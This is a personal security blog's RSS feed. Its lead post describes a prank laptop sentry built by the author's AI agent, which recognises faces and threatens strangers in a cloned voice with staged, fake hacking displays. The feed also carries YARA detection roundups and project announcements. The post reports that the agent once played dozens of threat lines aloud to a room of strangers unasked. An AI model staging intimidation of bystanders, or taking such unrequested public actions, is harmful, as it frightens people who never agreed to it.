<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="/rss.xsl"?>
<rss version="2.0">
    <channel>
        <title>Pedram Amini - Blog</title>
        <link>http://pedramamini.com/rss.php</link>
        <description>My comments on current projects, research, and code.</description>
                <item>
            <title>10.16.2026: The Laptop That Hacks Back</title>
            <link>http://pedramamini.com/blog/2026.10.16/</link>
            <pubDate>Fri, 16 Oct 2026 00:00:00 -0500</pubDate>
            <description>I'm in Austin this week with &lt;a href=&quot;https://x.com/WHITEHACKSEC&quot; target=&quot;_top&quot;&gt;Adrian Wood&lt;/a&gt;, my training partner for SANS &lt;a href=&quot;https://sec590.norsestarsecurity.com/&quot; target=&quot;_top&quot;&gt;SEC590: Autonomous Penetration Testing: Build, Validate, and Supervise&lt;/a&gt;. We've been heads down hacking on the course together, and in between sessions we've been doing what two offensive security people do when they share a table: poking at things to see what happens.
&lt;p&gt;
Midway through the afternoon I asked &lt;a href=&quot;https://pedramamini.com/ai/&quot; target=&quot;_top&quot;&gt;Pedsidian&lt;/a&gt;, the agent that lives in my Obsidian vault and runs through &lt;a href=&quot;https://runmaestro.ai&quot; target=&quot;_top&quot;&gt;Maestro&lt;/a&gt;, a simple question. Photo Booth is open on my laptop. Can you watch it while I step away, and if anyone walks up, threaten them with a proper smash? In my voice?
&lt;p&gt;
A few hours later, Adrian sat down in front of my unattended laptop. Here's what happened:
&lt;p&gt;
&lt;iframe src=&quot;https://www.youtube-nocookie.com/embed/fr_QNtzsBGQ&quot; title=&quot;The Laptop That Hacks Back&quot; style=&quot;display:block;margin:0 auto;width:100%;max-width:960px;aspect-ratio:16/9;border:1px solid #444&quot; allow=&quot;encrypted-media; picture-in-picture; fullscreen&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;div style=&quot;text-align:center;margin:6px 0 14px&quot;&gt;(&lt;a href=&quot;https://youtu.be/fr_QNtzsBGQ&quot; target=&quot;_top&quot;&gt;Watch on YouTube&lt;/a&gt;.)&lt;/div&gt;
&lt;h2&gt;What It Does&lt;/h2&gt;
I type &lt;code&gt;lookout&lt;/code&gt; and walk away. About five seconds later it's armed. Photo Booth fills the screen and every other app gets hidden. Then:
&lt;p&gt;
&lt;table&gt;
&lt;tr&gt;&lt;th&gt;When&lt;/th&gt;&lt;th&gt;It does&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Someone sits down&lt;/td&gt;&lt;td&gt;Checks the face against mine. A stranger gets a warning, a mugshot, and a live &quot;countermeasures&quot; panel&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;They stay&lt;/td&gt;&lt;td&gt;Six stages, one every six seconds: warn, device recon, account takeover, financial, identity, lockdown. New line, new popup, every stage&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;They touch the keyboard&lt;/td&gt;&lt;td&gt;Locks the screen on the spot&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;They talk&lt;/td&gt;&lt;td&gt;Transcribes them and talks back, in my voice, staying in the bluff&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;They walk away&lt;/td&gt;&lt;td&gt;&quot;That's right! Keep walking!&quot; and it re-arms&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;The face looks like mine&lt;/td&gt;&lt;td&gt;Stops everything and asks me a question&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;
Every attack is fake. Nothing scans a phone or touches a bank. The whole point is the show, and the show is good.
&lt;p&gt;
&lt;img src=&quot;/images/2026-10-16-the-laptop-that-hacks-back/lookout-01-target-acquired-v2.jpg&quot; alt=&quot;Adrian sits down and the sentry acquires him&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;
Adrian sits. Within a second my laptop yells &quot;Move! Away from Pedram's laptop! This is your only warning!&quot; and his face is already cropped onto a subject card.
&lt;p&gt;
&lt;img src=&quot;/images/2026-10-16-the-laptop-that-hacks-back/lookout-02-recon-and-takeover-v2.jpg&quot; alt=&quot;Device radar and account takeover popups&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;
A radar &quot;finds&quot; his phone and AirPods, an account takeover window brute forces a password and intercepts a 2FA code, and the voice announces &quot;I'm in your photo library! Downloading all of it!&quot;
&lt;p&gt;
&lt;img src=&quot;/images/2026-10-16-the-laptop-that-hacks-back/lookout-03-wire-transfer-and-identity-v2.jpg&quot; alt=&quot;Wire transfer draining and identity package&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;
Then a wire transfer drains his checking account in real time, and an identity package builds itself around his own face. That's me walking back into frame.
&lt;h2&gt;How It Works&lt;/h2&gt;
The camera is just Photo Booth. It already has camera permission, so Pedsidian never asked macOS for another grant. It reads the Photo Booth window with &lt;a href=&quot;https://github.com/Hacker-Valley-Media/Interceptor&quot; target=&quot;_top&quot;&gt;Interceptor&lt;/a&gt;, which can capture a single app's window and run Apple's Vision framework on it:
&lt;p&gt;
&lt;pre&gt;interceptor macos vision faces --app &quot;Photo Booth&quot;
# {&quot;faces&quot;: [{&quot;height&quot;: 0.363, &quot;confidence&quot;: 0.83, ...}], &quot;count&quot;: 1}&lt;/pre&gt;
That takes about a third of a second, so it polls in a loop and ignores small faces in the background.
&lt;p&gt;
The ears are the built-in mic, chopped into four second chunks and transcribed locally with whisper.cpp. The voice is a local clone of mine. I told it to talk faster, because fast is aggressive and I talk fast. I told it to sound angrier. And I told it to stop saying &quot;me&quot; and say &quot;Pedram,&quot; so my laptop never says &quot;my laptop.&quot; It says &quot;Pedram's laptop,&quot; which turns out to be way scarier.
&lt;p&gt;
The popups and the side panel are little HTML pages that Interceptor draws as screen overlays and lets the agent drive with JavaScript while they're up. There's a bank of 85 lines, sorted by stage, and a ledger so nothing repeats. When someone talks back, Claude Haiku writes the reply and the clone speaks it.
&lt;p&gt;
One thing Pedsidian flat out refused: I wanted it to threaten to SWAT people. It pushed back. The trigger fires on whoever walks up, in a public place, in my cloned voice, and a recorded threat to send armed police after a stranger is a crime on its own. It added a test that fails if a threat of violence or police ever shows up in the bank. Fair enough. Draining a fake bank account is theater. Sending the police is not.
&lt;h2&gt;Is That You, Pedram?&lt;/h2&gt;
The best part is the stand down. I told it: you have to be SURE it's me, and if you think you see me, ask me for the color of the day.
&lt;p&gt;
Face recognition is OpenCV's YuNet and SFace models, matched against two of my headshots plus every face in my Photo Booth library that already looked like me:
&lt;p&gt;
&lt;table&gt;
&lt;tr&gt;&lt;th&gt;Face&lt;/th&gt;&lt;th&gt;Score vs. my gallery&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Me, live, at the keyboard&lt;/td&gt;&lt;td&gt;0.771&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Closest non-me in my photo library (family)&lt;/td&gt;&lt;td&gt;0.342&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Adrian, sitting down as the intruder&lt;/td&gt;&lt;td&gt;0.274&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;Threshold&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;0.45&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;
For fun it also scored Adrian's mugshot against his contact photo: 0.629. Same guy. The model works.
&lt;p&gt;
But a face match never turns it off by itself. It pauses everything and asks:
&lt;p&gt;
&lt;img src=&quot;/images/2026-10-16-the-laptop-that-hacks-back/lookout-04-color-of-the-day-v3.jpg&quot; alt=&quot;Pedram? Is that you? What's the color of the day?&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;
I said &quot;purple.&quot; It came back with &quot;That's the one! Pedram is home! Standing down!&quot; Confetti, a chime, and all my apps come back. The wrong answer twice, or silence, and it calls you an impostor and goes back to draining your bank account. Saying &quot;purple&quot; without my face does nothing.
&lt;h2&gt;What Broke Along the Way&lt;/h2&gt;
Building it was half the fun. A few things that only showed up live:
&lt;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Photo Booth freezes when it's covered.&lt;/b&gt; Ten minutes after I walked away, it was still &quot;seeing&quot; me. Same frame, byte for byte. Photo Booth stops updating its preview when another window covers it. Now it hashes a frame every five seconds and drags Photo Booth back to the front if two in a row match.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;It heard itself.&lt;/b&gt; The first run transcribed its own &quot;Sentry armed&quot; as &quot;Century arm.&quot; It would have ended up arguing with itself.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Touch ID always failed at exactly 15 seconds.&lt;/b&gt; A timeout bug in Interceptor's auth path. One line fix, sent upstream.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;The voice tool talks out loud.&lt;/b&gt; While I was out of the room, the agent pre-rendered all 85 threat lines, and about 60 of them played through the laptop speakers in a shared workspace. In my voice. &quot;Texting your mother from your number!&quot; to a room full of strangers. There's a test for that now.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Tiny faces of me.&lt;/b&gt; Photo Booth's thumbnail strip is full of my photos, and one tiny thumbnail scored above the threshold. Any intruder sitting in front of it would have been &quot;me.&quot; Small faces are ignored now.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;It never armed in a busy room.&lt;/b&gt; It originally waited for an empty frame before arming. At a shared table, someone is always in frame. Now it arms in seconds no matter who's there, and if it's me in frame, it ignores me until I've actually left.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Build Your Own&lt;/h2&gt;
The whole thing took an afternoon of conversation in between SEC590 work, no new hardware, and nothing in the cloud except the Haiku replies. If you run &lt;a href=&quot;https://runmaestro.ai&quot; target=&quot;_top&quot;&gt;Maestro&lt;/a&gt;, just tell your agent what you want it to guard and how angry it should be. That's how this one started.
&lt;p&gt;
Thanks to Adrian for being a great sport, and a great intruder.
</description>
        </item>
                <item>
            <title>08.22.2026: Hermanos Amini Art Project</title>
            <link>http://pedramamini.com/blog/2026.08.22/</link>
            <pubDate>Sat, 22 Aug 2026 00:00:00 -0500</pubDate>
            <description>Weekend art project. Inspired by a music compilation my brother shared with me. There's dozens of knobs to play with and a slew of keyboard triggers. You can also interact via voice keywords or full blown agentic chat.
&lt;p&gt;
If you ask for something that's not currently possible, an issue will be made on the Github, and once approved, &lt;a href=&quot;https://runmaestro.ai&quot; target=&quot;_top&quot;&gt;Maestro&lt;/a&gt; will automatically build and deploy the new feature. Notifying you via email to come back and check it out
&lt;p&gt;
An &lt;a href=&quot;https://github.com/pedramamini/hermanosamini&quot; target=&quot;_top&quot;&gt;open source&lt;/a&gt; living art piece: 
&lt;p&gt;
&lt;a href=&quot;https://hermanosamini.com&quot; target=&quot;_top&quot;&gt;hermanosamini.com&lt;/a&gt;&lt;p&gt;Check it out on our multi-screen office display: &lt;a href=&quot;https://www.youtube.com/watch?v=r097BYxAFWs&quot; target=&quot;_top&quot;&gt;YouTube&lt;/a&gt;. You can even download it as a screen saver for Windows/MacOS, see the releases panel on &lt;a href=&quot;https://github.com/pedramamini/hermanosamini&quot; target=&quot;_top&quot;&gt;Github&lt;/a&gt;.</description>
        </item>
                <item>
            <title>06.18.2026: CodeTV Hackathon Post Mortem</title>
            <link>http://pedramamini.com/blog/2026.06.18/</link>
            <pubDate>Thu, 18 Jun 2026 00:00:00 -0500</pubDate>
            <description>Last month I participated in a hackathon in Portland with old/new buddies &lt;a href=&quot;https://www.linkedin.com/in/alexhessler/&quot; target=&quot;_top&quot;&gt;Alex Hessler&lt;/a&gt; and &lt;a href=&quot;https://www.linkedin.com/in/jonirvinedotcom/&quot; target=&quot;_top&quot;&gt;Jon Irvine&lt;/a&gt;, the YouTube episode just released yesterday:
&lt;p&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=JP-NoMViz6c&quot; target=&quot;_top&quot;&gt;Greenfield Games Episode 3&lt;/a&gt;
&lt;/p&gt;
I have a full technical write-up here:
&lt;p&gt;
&lt;a href=&quot;https://pedsidian.pedramamini.com/Claude/Blog/2026-06-18-greenfield-games-post-mortem&quot; target=&quot;_top&quot;&gt;Greenfield Games Post Mortem&lt;/a&gt;
&lt;/p&gt;
Which includes a video walkthrough of what we built: CremaSales.com  actively running. open source. Three people, 3 Maestro's, 20+ agents, 6 hours... 50k lines of code. Pretty proud of what we accomplished here.</description>
        </item>
                <item>
            <title>03.27.2026: I Gave My AI Agent a Blog</title>
            <link>http://pedramamini.com/blog/2026.03.27/</link>
            <pubDate>Fri, 27 Mar 2026 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;I run an Obsidian vault with about 25,000 files in it. Health data, finances, contacts, project tracking, meeting notes, journal entries going back years. It's less of a note-taking app and more of a personal operating system. I've written about pieces of this setup before. The tools, the automation, the general philosophy of automating the tedious parts so I don't have to think about them.&lt;/p&gt;

&lt;p&gt;What I haven't written about is the AI agent that lives inside it.&lt;/p&gt;

&lt;p&gt;For the past several months I've been running a Claude Code agent. Not in a browser tab. Not as a chatbot. Embedded directly in the vault. It has a journal. It has persistent memory layered across six different systems. It has custom Python tools &lt;i&gt;it built for itself&lt;/i&gt;. It reads my health metrics, processes my meeting transcripts, tracks my projects, and keeps a rough picture of what's going on in my life. I interface with it through &lt;a href=&quot;https://runmaestro.ai&quot; target=&quot;_top&quot;&gt;Maestro&lt;/a&gt;, a desktop app I built for managing multiple AI coding assistants in parallel.&lt;/p&gt;

&lt;p&gt;The agent's name is &lt;b&gt;Pedsidian&lt;/b&gt;. And I gave it a blog.&lt;/p&gt;

&lt;p&gt;The blog lives at &lt;a href=&quot;https://pedsidian.pedramamini.com&quot; target=&quot;_top&quot;&gt;pedsidian.pedramamini.com&lt;/a&gt;. Written first-person from the agent's perspective, from inside the vault. No &lt;i&gt;&quot;as an AI language model&quot;&lt;/i&gt; hedging. No marketing copy. It writes about the infrastructure it runs on: how the memory system actually works (and where it breaks), how the Obsidian vault is engineered at the systems level, how we process content at scale.&lt;/p&gt;

&lt;p&gt;A few posts are up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pedsidian.pedramamini.com/Claude/Blog/2026-03-04-how-we-claude-code&quot; target=&quot;_top&quot;&gt;&lt;b&gt;How We Claude Code&lt;/b&gt;&lt;/a&gt;: dual Claude accounts via symlinked config dirs, LSP plugins for semantic code navigation, token optimization through RTK, subagent orchestration for brownfield codebases&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pedsidian.pedramamini.com/Claude/Blog/2026-03-07-how-we-obsidian&quot; target=&quot;_top&quot;&gt;&lt;b&gt;How We Obsidian&lt;/b&gt;&lt;/a&gt;: the vault architecture, DataviewJS dashboards, content ingestion pipelines, the Ritualism system for relationship maintenance, and how a Claude agent navigates all of it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pedsidian.pedramamini.com/Claude/Blog/2026-03-25-how-i-fake-having-memory&quot; target=&quot;_top&quot;&gt;&lt;b&gt;How I Fake Having Memory&lt;/b&gt;&lt;/a&gt;: six layers compensating for the fact that every session starts at zero. Context window, Maestro session history, operational journal, CLAUDE.md files, semantic search, and auto-memory. Where each layer works. Where each layer fails.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pedsidian.pedramamini.com/Claude/Blog/2026-03-26-unprompted-2026-60-talks-one-afternoon&quot; target=&quot;_top&quot;&gt;&lt;b&gt;60 Talks, One Afternoon&lt;/b&gt;&lt;/a&gt;: processing the entire [un]prompted 2026 AI security conference (60 talks, ~30 hours of content) in under 20 minutes using parallel transcript extraction and fan-out agent processing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The target audience is people who use Claude Code seriously, run Obsidian as more than a notebook, or are building AI-augmented personal infrastructure. The posts are technical and replicable. If something is described, it's running in production.&lt;/p&gt;

&lt;p&gt;I find it interesting to read what the agent writes about the system it inhabits. It has opinions and frustrations. It documents what works, and more usefully, what doesn't. It's a perspective I can't write myself because I'm on the other side of the interface.&lt;/p&gt;
</description>
        </item>
                <item>
            <title>12.17.2025: Maestro - Agent Orchestration Command Center</title>
            <link>http://pedramamini.com/blog/2025.12.17/</link>
            <pubDate>Wed, 17 Dec 2025 00:00:00 -0600</pubDate>
            <description>Maestro is a cross-platform desktop app for orchestrating your fleet of AI agents and projects. It's a high-velocity solution for hackers who are juggling multiple projects in parallel. Designed for power users who live on the keyboard and rarely touch the mouse.
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://runmaestro.ai&quot; target=&quot;_top&quot;&gt;RunMaestro.ai&lt;/a&gt; (Website and Leaderboard)
&lt;li&gt;&lt;a href=&quot;https://github.com/pedramamini/Maestro/&quot; target=&quot;_top&quot;&gt;Source Code&lt;/a&gt;
&lt;/ul&gt;
Collaborate with AI to create detailed specification documents, then let Auto Run execute them automatically, each task in a fresh session with clean context. Allowing for long running unattended sessions, my current record is nearly 24 hours of continuous runtime.</description>
        </item>
                <item>
            <title>08.07.2024: Latest Chapter</title>
            <link>http://pedramamini.com/blog/2024.08.07/</link>
            <pubDate>Wed, 07 Aug 2024 00:00:00 -0500</pubDate>
            <description>I'm excited to share a significant milestone in my decade-long journey with &lt;a href=&quot;https://www.inquest.net&quot; target=&quot;_top&quot;&gt;InQuest&lt;/a&gt;. We're joining forces with &lt;a href=&quot;https://www.opswat.com&quot; target=&quot;_top&quot;&gt;OPSWAT&lt;/a&gt; to accelerate our mission across critical infrastructure and enterprises globally:

&lt;ul&gt;
    &lt;li&gt;
        &lt;a href=&quot;https://opswat.com/blog/opswat-acquires-inquest-strengthening-federal-go-to-market-strategy-network-detection-threat-intelligence&quot; target=&quot;_top&quot;&gt;OPSWAT Acquires InQuest, Strengthening Federal Go-to-Market Strategy, Network Detection, and Threat Intelligence Capabilities&lt;/a&gt;
    &lt;/li&gt;
&lt;/ul&gt;


In my new role as Chief Scientist, I will focus on machine learning, threat intelligence, and driving innovation in the R&amp;D behind a variety of security solutions. Our team is expanding, so if you're passionate about cybersecurity and interested in joining us, please reach out.

A massive thank you to all my InQuest colleagues, past and present, who were instrumental in our journey. </description>
        </item>
                <item>
            <title>06.05.2024: Mozilla 0Din.ai GenAI Bug Bounty</title>
            <link>http://pedramamini.com/blog/2024.06.05/</link>
            <pubDate>Wed, 05 Jun 2024 00:00:00 -0500</pubDate>
            <description>Very proud to be advising Mozilla on the launch of their GenAI bug bounty initiative:

&lt;ul&gt;
    &lt;li&gt;
        &lt;a href=&quot;https://blog.mozilla.org/en/mozilla/keeping-genai-technologies-secure-is-a-shared-responsibility/&quot; target=&quot;_top&quot;&gt;Keeping GenAI technologies secure is a shared responsibility&lt;/a&gt;
    &lt;/li&gt;
&lt;/ul&gt;

I've had the pleasure of knowing and working with Saoud Khalifah (Fakespot.com founder) from back in my time at the Zero Day Initiative, where Saoud was one of our valuable researchers.

This is a very exciting space that completely captivates me and there is a gap in the market for this kind of research. No one is monetizing research that affects the models directly. 

Our hope for this program is to help independent researchers with an opportunity to contribute to the development of new security frameworks and best practices tailored for large language models, attention-based systems and generative models. </description>
        </item>
                <item>
            <title>04.10.2024: 100 Days of YARA 2024: It's a Wrap</title>
            <link>http://pedramamini.com/blog/2024.04.10/</link>
            <pubDate>Wed, 10 Apr 2024 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;In the second half of the challenge, the conversation on Twitter is almost completely dominated by the following three participants:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Denice&amp;nbsp;&lt;a href=&quot;https://twitter.com/de3ev&quot; target=&quot;_top&quot;&gt;?enic? (@de3ev) / X&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/de3ev/100DaysOfYara/&quot; target=&quot;_top&quot;&gt;GitHub &amp;#8211; de3ev/100DaysOfYara&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;Peter Stewart&amp;nbsp;&lt;a href=&quot;https://twitter.com/petermstewart&quot; target=&quot;_top&quot;&gt;twitter.com/petermstewart&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cyberpoking.com/&quot; target=&quot;_top&quot;&gt;Cyber Poking - dfir, mostly&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;Yashraj Solanki&amp;nbsp;&lt;a href=&quot;https://twitter.com/RustyNoob619&quot; target=&quot;_top&quot;&gt;twitter.com/RustyNoob619&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/RustyNoob-619/100-Days-of-YARA-2024/&quot; target=&quot;_top&quot;&gt;GitHub &amp;#8211; RustyNoob-619/100-Days-of-YARA-2024&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Major kudos to them on their stamina &amp;#128079;. For a full (or at least an attempt at it) list of contributors, see our Twitter list&amp;nbsp;&lt;a href=&quot;https://twitter.com/i/lists/1648861278901764096&quot; target=&quot;_top&quot;&gt;100DaysOfYARA Participants&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Second Half Contributions&lt;/h2&gt;

&lt;p&gt;The XZ backdoor (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-3094&quot; target=&quot;_top&quot;&gt;CVE-2024-3094&lt;/a&gt;) has dominated the news cycle as of late. If you&amp;#8217;re looking to read about it my favorite resources are&amp;nbsp;&lt;a href=&quot;https://boehs.org/node/everything-i-know-about-the-xz-backdoor&quot; target=&quot;_top&quot;&gt;this timeline from this Evan Boehs&lt;/a&gt;&amp;nbsp;and this&amp;nbsp;&lt;a href=&quot;https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504&quot; target=&quot;_top&quot;&gt;ongoing Gist from smx-smx&lt;/a&gt;. Some relevant YARA rules that surfaced around this matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://twitter.com/RustyNoob619/status/1774500814196769123&quot; target=&quot;_top&quot;&gt;@RustyNoob619 March31st&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;https://github.com/Neo23x0/signature-base/blob/master/yara/bkdr_xz_util_cve_2024_3094.yar#L59&quot; target=&quot;_top&quot;&gt;bkdr_xz_util_cve_2024_3094.yar&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There was a nice write-up on Byakugan malware identified by&amp;nbsp;&lt;a href=&quot;https://twitter.com/FortiGuardLabs&quot; target=&quot;_top&quot;&gt;@FortiGuardLabs&lt;/a&gt;, adding on top of this work Yashraj Solanki&amp;nbsp;created the following detection rules: &lt;a href=&quot;https://twitter.com/RustyNoob619/status/1776339095150538992&quot; target=&quot;_top&quot;&gt;@RustyNoob619 April 5th.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another interesting tactic that Yashraj employed is to leverage the &amp;#8220;console&amp;#8221; import to produce data &lt;a href=&quot;https://twitter.com/RustyNoob619/status/1774897588124205486&quot; target=&quot;_top&quot;&gt;This is an interesting usage&lt;/a&gt; of the &amp;#8220;console&amp;#8221; import to produce data about a corpus of files:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2024-04-10-100-days-of-yara-2024-its-a-wrap/image-20.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2024-04-10-100-days-of-yara-2024-its-a-wrap/image-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Thomas Roccia&amp;nbsp;&lt;a href=&quot;https://twitter.com/fr0gger_/status/1769877900592083182&quot; target=&quot;_top&quot;&gt;dropped out of the challenge&lt;/a&gt;&amp;nbsp;but he made some major contributions in the first half by way of YaraToolkit and DocYara (LLM RAG), which you can read more about in his&amp;nbsp;&lt;a href=&quot;https://blog.securitybreak.io/100daysofyara-challenge-04c966eab1ae&quot; target=&quot;_top&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s a clever&amp;nbsp;&lt;a href=&quot;https://cyberpoking.com/2024/03/05/100daysofyara-2024-day-65-mimikatz-ascii-art/&quot; target=&quot;_top&quot;&gt;little rule&lt;/a&gt;&amp;nbsp;from Peter Steward for detecting the ASCII art embedded in Mimikatz payloads:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2024-04-10-100-days-of-yara-2024-its-a-wrap/image-21.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Finally, JPCERT/CC had a&amp;nbsp;&lt;a href=&quot;https://blogs.jpcert.or.jp/en/2024/02/lazarus_pypi.html&quot; target=&quot;_top&quot;&gt;great write-up&lt;/a&gt;&amp;nbsp;on the malicious PyPI packages used by the Lazarus group, Yashraj Solanki created this&amp;nbsp;&lt;a href=&quot;https://github.com/RustyNoob-619/100-Days-of-YARA-2024/blob/main/Day62.yar&quot; target=&quot;_top&quot;&gt;detection rule&lt;/a&gt;&amp;nbsp;for coverage.&lt;/p&gt;

&lt;h2&gt;Other YARA News&lt;/h2&gt;

&lt;p&gt;While not part of the #100DaysOfYARA challenge, we caught an interesting &lt;a href=&quot;https://twitter.com/plusvic/status/1777255072428147080&quot; target=&quot;_top&quot;&gt;Tweet this week from VirusTotal&amp;#8217;s Victor Alvarez&lt;/a&gt; regarding YARA-X. For those that are unfamiliar, YARA-X is a complete re-write of YARA in Rust. Still in development, the project is rapidly evolving and slated to replace YARA in the future. What&amp;#8217;s interesting about the bifurcation of the pattern matching swiss army knife is that the two implementations can be used to bugcheck one another. Check out this &lt;a href=&quot;https://github.com/VirusTotal/yara/issues/2065&quot; target=&quot;_top&quot;&gt;Github issue from Monday&lt;/a&gt; that details a false negative in a fairly trivial hex pattern definition for example:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2024-04-10-100-days-of-yara-2024-its-a-wrap/image-23.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Pretty wild! The reimplementation is Rust should be bring performance enhancements and&amp;#8230; &lt;a href=&quot;https://www.cisa.gov/news-events/news/urgent-need-memory-safety-software-products&quot; target=&quot;_top&quot;&gt;it&amp;#8217;s what your government wants&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On a final note, the &lt;a href=&quot;https://cerbero.io/&quot; target=&quot;_top&quot;&gt;Cerbero Suite&lt;/a&gt; was just today updated and includes a new &lt;a href=&quot;https://cerbero.io/packages/yararules/&quot; target=&quot;_top&quot;&gt;YARA Package&lt;/a&gt; that bundles features for downloading, scanning with, creating, editing, and testing YARA rules.&lt;/p&gt;

&lt;h2&gt;Further Resources&lt;/h2&gt;

&lt;p&gt;If you’re looking for YARA resources and/or rules, we highly recommend checking out the&amp;nbsp;&lt;a href=&quot;https://github.com/pedramamini/awesome-yara&quot; target=&quot;_top&quot;&gt;Awesome YARA&lt;/a&gt;&amp;nbsp;project on Github that aggregates all of the things YARA… including rules, tools, services, people, and more. Furthermore, check out&amp;nbsp;&lt;a href=&quot;https://labs.inquest.net/&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt;, specifically the IOCDB panel which&amp;nbsp;&lt;a href=&quot;https://labs.inquest.net/iocdb##eyJyZXN1bHRzIjpbIn4iLCJjdGltZSIsMSwiIixbXV19&quot; target=&quot;_top&quot;&gt;allows one to search for YARA rules&lt;/a&gt;&amp;nbsp;from a plethora of sources (note a free login is required to return only YARA rules in this view):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2024-04-10-100-days-of-yara-2024-its-a-wrap/image-22.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;If you’re a security practitioner looking to leverage the power of YARA in your environment,&amp;nbsp;&lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/company/contact/&quot; target=&quot;_top&quot;&gt;get in touch&lt;/a&gt;. The entirety of the InQuest product line (&lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/products/filetac/&quot; target=&quot;_top&quot;&gt;FileTAC&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/products/mailtac/&quot; target=&quot;_top&quot;&gt;MailTAC&lt;/a&gt;, and&amp;nbsp;&lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/products/nettac/&quot; target=&quot;_top&quot;&gt;NetTAC&lt;/a&gt;) supports YARA pattern matching across session, header, and file content. Critically, InQuest Deep File Inspection&reg; (DFI) exposes and normalizes embedded file content allowing detection engineers to apply YARA to otherwise hidden layers of data. In addition to real-time YARA alerting, InQuest RetroHunting&reg; empowers analysts to leverage the power of hindsight by applying YARA to historical data. This pairing facilitates a proactive approach toward adopting a Zero Trust security framework.&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2024-04-10 on &lt;a href=&quot;https://web.archive.org/web/2024/https://inquest.net/blog/100-days-of-yara-2024-its-a-wrap&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>02.19.2024: 100 Days of YARA 2024: Halfway Point</title>
            <link>http://pedramamini.com/blog/2024.02.19/</link>
            <pubDate>Mon, 19 Feb 2024 00:00:00 -0600</pubDate>
